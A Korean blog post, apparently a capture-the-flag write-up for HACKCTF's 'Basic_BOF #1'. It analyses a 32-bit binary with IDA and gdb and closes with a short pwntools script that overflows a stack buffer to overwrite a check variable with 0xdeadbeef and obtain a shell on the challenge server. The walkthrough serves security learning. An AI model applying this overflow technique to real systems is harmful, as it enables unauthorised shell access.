Write-up/HACKCTF

HACKCTF - Basic_BOF #1

Dalseung 2020. 11. 30. 17:40

시스템을 공부하기 위해 HACKCTF를 풀게 됐다.

내 환경

ubuntu 20.04

문제

접속 주소와 bof_basic이라는 파일을 준다.

접속해보자.

보시다시피 입력을 받고 그대로 출력하면서 buf의 주소도 같이 출력되는 것을 볼 수 있다.

문제 파일을 다운 받아서 gdb로 까보자

참고로 우분투 터미널에서 wget [문제 파일 링크] 하면 쉽게 다운 받을 수 있다.

프로그램 분석

문제 풀 때 ida의 Hexray를 사용을 했는데 완벽하게 코드가 나오지 않아 gdb와 비교해가면서 풀어봤다.

ida-main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+4h] [ebp-34h]
  int v5; // [esp+2Ch] [ebp-Ch]

  v5 = 67305985;
  fgets(&s, 45, stdin);
  printf("\n[buf]: %s\n", &s);
  printf("[check] %p\n", v5);
  if ( v5 != 67305985 && v5 != -559038737 )
    puts("\nYou are on the right way!");
  if ( v5 == -559038737 )
  {
    puts("Yeah dude! You win!\nOpening your shell...");
    system("/bin/dash");
    puts("Shell closed! Bye.");
  }
  return 0;
}

gdb-peda

gdb-peda$ disas main
Dump of assembler code for function main:
   0x080484cb <+0>:    lea    ecx,[esp+0x4]
   0x080484cf <+4>:    and    esp,0xfffffff0
   0x080484d2 <+7>:    push   DWORD PTR [ecx-0x4]
   0x080484d5 <+10>:    push   ebp
   0x080484d6 <+11>:    mov    ebp,esp
   0x080484d8 <+13>:    push   ecx
   0x080484d9 <+14>:    sub    esp,0x34
   0x080484dc <+17>:    mov    DWORD PTR [ebp-0xc],0x4030201
   0x080484e3 <+24>:    mov    eax,ds:0x804a040
   0x080484e8 <+29>:    sub    esp,0x4
   0x080484eb <+32>:    push   eax
   0x080484ec <+33>:    push   0x2d
   0x080484ee <+35>:    lea    eax,[ebp-0x34]
   0x080484f1 <+38>:    push   eax
   0x080484f2 <+39>:    call   0x8048380 <fgets@plt>
   0x080484f7 <+44>:    add    esp,0x10
   0x080484fa <+47>:    sub    esp,0x8
   0x080484fd <+50>:    lea    eax,[ebp-0x34]
   0x08048500 <+53>:    push   eax
   0x08048501 <+54>:    push   0x8048610
   0x08048506 <+59>:    call   0x8048370 <printf@plt>
   0x0804850b <+64>:    add    esp,0x10
   0x0804850e <+67>:    sub    esp,0x8
   0x08048511 <+70>:    push   DWORD PTR [ebp-0xc]
   0x08048514 <+73>:    push   0x804861c
   0x08048519 <+78>:    call   0x8048370 <printf@plt>
   0x0804851e <+83>:    add    esp,0x10
   0x08048521 <+86>:    cmp    DWORD PTR [ebp-0xc],0x4030201
   0x08048528 <+93>:    je     0x8048543 <main+120>
   0x0804852a <+95>:    cmp    DWORD PTR [ebp-0xc],0xdeadbeef
   0x08048531 <+102>:    je     0x8048543 <main+120>
   0x08048533 <+104>:    sub    esp,0xc
   0x08048536 <+107>:    push   0x8048628
   0x0804853b <+112>:    call   0x8048390 <puts@plt>
   0x08048540 <+117>:    add    esp,0x10
   0x08048543 <+120>:    cmp    DWORD PTR [ebp-0xc],0xdeadbeef
   0x0804854a <+127>:    jne    0x804857c <main+177>
   0x0804854c <+129>:    sub    esp,0xc
   0x0804854f <+132>:    push   0x8048644
   0x08048554 <+137>:    call   0x8048390 <puts@plt>
   0x08048559 <+142>:    add    esp,0x10
   0x0804855c <+145>:    sub    esp,0xc
   0x0804855f <+148>:    push   0x804866e
   0x08048564 <+153>:    call   0x80483a0 <system@plt>
   0x08048569 <+158>:    add    esp,0x10
   0x0804856c <+161>:    sub    esp,0xc
   0x0804856f <+164>:    push   0x8048678
   0x08048574 <+169>:    call   0x8048390 <puts@plt>
   0x08048579 <+174>:    add    esp,0x10
   0x0804857c <+177>:    mov    eax,0x0
   0x08048581 <+182>:    mov    ecx,DWORD PTR [ebp-0x4]
   0x08048584 <+185>:    leave  
   0x08048585 <+186>:    lea    esp,[ecx-0x4]
   0x08048588 <+189>:    ret    
End of assembler dump.

ida와 gdb를 비교해가며 보면 <main+39> 에서 fget함수를 call하기 전에 eax와 0x2d를 push하는 것을 볼 수 있다.

   0x080484eb <+32>:    push   eax
   0x080484ec <+33>:    push   0x2d
   0x080484ee <+35>:    lea    eax,[ebp-0x34]
   0x080484f1 <+38>:    push   eax
   0x080484f2 <+39>:    call   0x8048380 <fgets@plt>

또한 ida에서 if문이 두번 나오는데 우리는 bin/bash를 실행할 수 있는 두번째 if문을 보도록 하자

// ida //

if ( v5 == -559038737 )
  {
    puts("Yeah dude! You win!\nOpening your shell...");
    system("/bin/dash");
    puts("Shell closed! Bye.");
  }

/* --------------------------------------------------------- */

// gdb //

   0x08048543 <+120>:    cmp    DWORD PTR [ebp-0xc],0xdeadbeef
   0x0804854a <+127>:    jne    0x804857c <main+177>
   0x0804854c <+129>:    sub    esp,0xc
   0x0804854f <+132>:    push   0x8048644
   0x08048554 <+137>:    call   0x8048390 <puts@plt>
   0x08048559 <+142>:    add    esp,0x10
   0x0804855c <+145>:    sub    esp,0xc
   0x0804855f <+148>:    push   0x804866e
   0x08048564 <+153>:    call   0x80483a0 <system@plt>

deadbeef와 ebp-0xc와 비교를 해서 같으면 system함수를 호출한다.
따라서 우리는 bof를 이용해서 특정 변수의 인자를 deadbeef가 되도록 해서 system함수를 실행할 수 있도록 해야한다.

맨 처음에 우리가 입력하는 값이 넣어지는 변수는 s, 즉 [ebp-0x34]이다. 하지만 deadbeef와 같은지 확인하는 if문에서는 v5, 즉[ebp-0xc]이다.

따라서 변수 s와 변수 v5와의 스택 간격은 10진수로 40이다.


이제 익스코드를 짜보자

결과

from pwn import *

p = remote("ctf.j0n9hyun.xyz",3000)

e = ELF("./bof_basic")

pay = "A" * 40 + "\xef\xbe\xad\xde"

p.sendline(pay)

p.interactive()

 

완료

'Write-up > HACKCTF' 카테고리의 다른 글

HACKCTF - 내 버퍼가 흘러넘친다!!!  (0) 2020.12.02
HACKCTF - Basic_BOF #2  (1) 2020.11.30